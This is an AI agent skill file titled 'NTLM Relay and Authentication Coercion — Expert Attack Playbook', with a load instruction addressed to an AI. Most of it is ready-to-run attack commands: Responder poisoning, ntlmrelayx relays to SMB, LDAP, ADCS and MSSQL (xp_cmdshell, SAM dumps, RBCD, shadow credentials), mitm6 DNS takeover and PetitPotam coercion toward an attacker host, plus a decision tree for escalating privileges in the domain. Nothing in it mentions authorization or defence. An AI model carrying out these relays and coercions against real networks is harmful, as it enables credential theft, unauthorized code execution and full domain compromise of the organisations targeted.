SKILL.md
Full skill instructions
SKILL: NTLM Relay and Authentication Coercion — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert NTLM relay and coercion techniques. Covers relay to SMB/LDAP/HTTP/MSSQL, signing requirements, Responder poisoning, mitm6, cross-protocol relay, WebDAV coercion, and all major coercion methods. Base models miss signing/EPA requirements and cross-protocol relay constraints.
0. RELATED ROUTING
Before going deep, consider loading:
- active-directory-certificate-services for ESC8 (relay to ADCS enrollment)
- active-directory-acl-abuse for ACL modification via LDAP relay (RBCD, shadow creds)
- active-directory-kerberos-attacks for Kerberos attacks after relay success
- windows-lateral-movement for post-relay lateral movement
Advanced Reference
Also load COERCION_METHODS.md when you need:
- Detailed coercion method comparison (PetitPotam, PrinterBug, DFSCoerce, etc.)
- RPC function-level details and prerequisites
- Coercer tool usage and discovery
1. NTLM RELAY FUNDAMENTALS
Victim Attacker (relay) Target
│ │ │
│── NTLM Auth ──→│ │ (1) Victim authenticates (coerced/poisoned)
│ │── Forward Auth ─────→│ (2) Attacker relays to target
│ │←─ Challenge ──────── │ (3) Target sends challenge
│←─ Challenge ────│ │ (4) Attacker forwards challenge to victim
│── Response ────→│ │ (5) Victim computes response
│ │── Forward Response ─→│ (6) Attacker relays response to target
│ │←─ Authenticated! ────│ (7) Target accepts → attacker has session
NTLMv1 vs NTLMv2
| Feature | NTLMv1 | NTLMv2 |
|---|---|---|
| Security | Weak (crackable to NTLM hash) | Stronger (but still relayable) |
| Relay | Yes | Yes |
| Crack to hash | Yes (rainbow tables, crack.sh) | Offline brute-force only |
| Downgrade | Force via Responder --lm | Default in modern Windows |
2. RELAY TARGET MATRIX
| Target Protocol | What You Get | Signing Required by Default? | EPA/Channel Binding? |
|---|---|---|---|
| SMB | Command exec (if admin), file access | DCs: Yes, Workstations: No | No |
| LDAP | ACL modification, RBCD, shadow creds, add computer | DCs: No (negotiated) | No (unless configured) |
| LDAPS | Same as LDAP but encrypted | N/A | Yes (channel binding) |
| HTTP (ADCS) | Certificate enrollment (ESC8) | No | Depends on config |
| MSSQL | SQL queries, xp_cmdshell | No | No |
| IMAP/SMTP | Email access | No | No |
| RPC | Various (CA enrollment for ESC11) | Depends | No |
Signing Check
# Check SMB signing on target
crackmapexec smb TARGET_IP --gen-relay-list relay_targets.txt
# Outputs hosts WITHOUT required SMB signing
# Nmap SMB signing check
nmap -p 445 --script smb2-security-mode TARGET_RANGE
3. RESPONDER — CREDENTIAL CAPTURE
LLMNR/NBT-NS/WPAD/mDNS Poisoning
# Start Responder (capture mode — don't relay, just capture hashes)
responder -I eth0 -dwP
# Analyze mode (passive, no poisoning)
responder -I eth0 -A
# Key protocols poisoned:
# LLMNR (UDP 5355) — Link-Local Multicast Name Resolution
# NBT-NS (UDP 137) — NetBIOS Name Service
# WPAD — Web Proxy Auto-Discovery (proxy config)
# mDNS (UDP 5353) — Multicast DNS
Responder + Relay (Don't Capture, Relay Instead)
# Disable HTTP and SMB servers in Responder (ntlmrelayx will handle them)
# Edit /etc/responder/Responder.conf: set HTTP and SMB to Off
# Start Responder for poisoning only
responder -I eth0 -dwP
# Start ntlmrelayx for relay
ntlmrelayx.py -tf targets.txt -smb2support
4. NTLMRELAYX — RELAY EXECUTION
Relay to SMB (Admin Execution)
# Execute command on targets (requires admin privs on target)
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
# Dump SAM hashes
ntlmrelayx.py -tf targets.txt -smb2support
# Interactive SOCKS proxy (maintain sessions)
ntlmrelayx.py -tf targets.txt -smb2support -socks
# Then: proxychains smbclient //TARGET/C$ -U DOMAIN/user
Relay to LDAP (ACL Modification)
# Automatic RBCD (delegate-access)
ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support
# Escalate via shadow credentials
ntlmrelayx.py -t ldap://DC_IP --shadow-credentials -smb2support
# Add computer account
ntlmrelayx.py -t ldap://DC_IP --add-computer FAKE01 P@ss123 -smb2support
# Dump domain info
ntlmrelayx.py -t ldap://DC_IP -smb2support --dump-domain
Relay to ADCS HTTP (ESC8)
ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support \
--adcs --template DomainController
# Use with coercion to relay DC auth → get DC certificate
Relay to MSSQL
ntlmrelayx.py -t mssql://SQL_HOST -smb2support -q "SELECT system_user; EXEC xp_cmdshell 'whoami'"
5. MITM6 — IPv6 DNS TAKEOVER
# mitm6 exploits IPv6 auto-configuration to become DNS server
mitm6 -d domain.com
# Combined with ntlmrelayx
ntlmrelayx.py -6 -t ldap://DC_IP -wh fake-wpad.domain.com --delegate-access -smb2support
# Flow:
# 1. mitm6 sends DHCPv6 replies → victim gets attacker as IPv6 DNS
# 2. Victim queries WPAD → attacker responds
# 3. NTLM auth triggered → relayed to LDAP
# 4. RBCD or shadow credentials set on victim computer
6. CROSS-PROTOCOL RELAY
SMB → LDAP
Capture SMB authentication, relay to LDAP (requires no LDAP signing enforcement).
# Coerce SMB auth from DC, relay to LDAP on same or different DC
ntlmrelayx.py -t ldap://DC02_IP --delegate-access -smb2support
# Trigger coercion (attacker receives SMB auth)
PetitPotam.py ATTACKER_IP DC01_IP
Limitation: SMB → LDAP relay fails if the source uses SMB signing negotiation that indicates relay.
WebDAV → LDAP
WebDAV from workstations sends NTLM over HTTP → relay to LDAP (no signing issues).
# WebDAV coercion sends HTTP-based NTLM (no SMB signing concern)
ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support
# Coerce via WebDAV (workstation must have WebClient service running)
# Use @ATTACKER_PORT format to force WebDAV
PetitPotam.py ATTACKER@80/test WORKSTATION_IP
7. WEBDAV-BASED COERCION
WebClient service (WebDAV) converts SMB-type coercion to HTTP-based NTLM.
# Check if WebClient is running (port 80 listener or service query)
crackmapexec smb TARGET -u user -p pass -M webdav
# Start WebDAV coercion (from workstation, not server)
# Force target to authenticate via HTTP:
# Use UNC path format: \\ATTACKER@PORT\share
Key advantage: HTTP-based NTLM avoids SMB signing requirements.
8. NTLM RELAY DECISION TREE
Want to relay NTLM authentication
│
├── What auth can you capture?
│ ├── Responder poisoning (passive, wait for queries)
│ ├── mitm6 (DHCPv6 DNS takeover, periodic)
│ └── Active coercion → load COERCION_METHODS.md
│
├── What target to relay to?
│ │
│ ├── Need code execution?
│ │ ├── SMB target without signing → ntlmrelayx to SMB (§4)
│ │ └── MSSQL target → ntlmrelayx to MSSQL + xp_cmdshell (§4)
│ │
│ ├── Need domain escalation?
│ │ ├── LDAP signing not enforced?
│ │ │ ├── Relay to LDAP → RBCD (§4)
│ │ │ ├── Relay to LDAP → shadow credentials (§4)
│ │ │ └── Relay to LDAP → add computer + delegate (§4)
│ │ └── LDAP signing enforced?
│ │ └── Relay to ADCS HTTP (ESC8) → certificate (§4)
│ │
│ └── Need certificate?
│ └── Relay to ADCS HTTP/RPC → ESC8/ESC11 (§4)
│
├── Source is SMB-based?
│ ├── Target is SMB → check signing (§2)
│ ├── Target is LDAP → may work (cross-protocol, §6)
│ └── Target is HTTP → works (cross-protocol)
│
├── Source is HTTP-based (WebDAV)?
│ └── Relay to any target (no signing issues, §6/§7)
│
└── Relay fails?
├── Check signing requirements (§2)
├── Check EPA/channel binding
├── Try cross-protocol (SMB → LDAP)
└── Try WebDAV coercion (avoids SMB signing)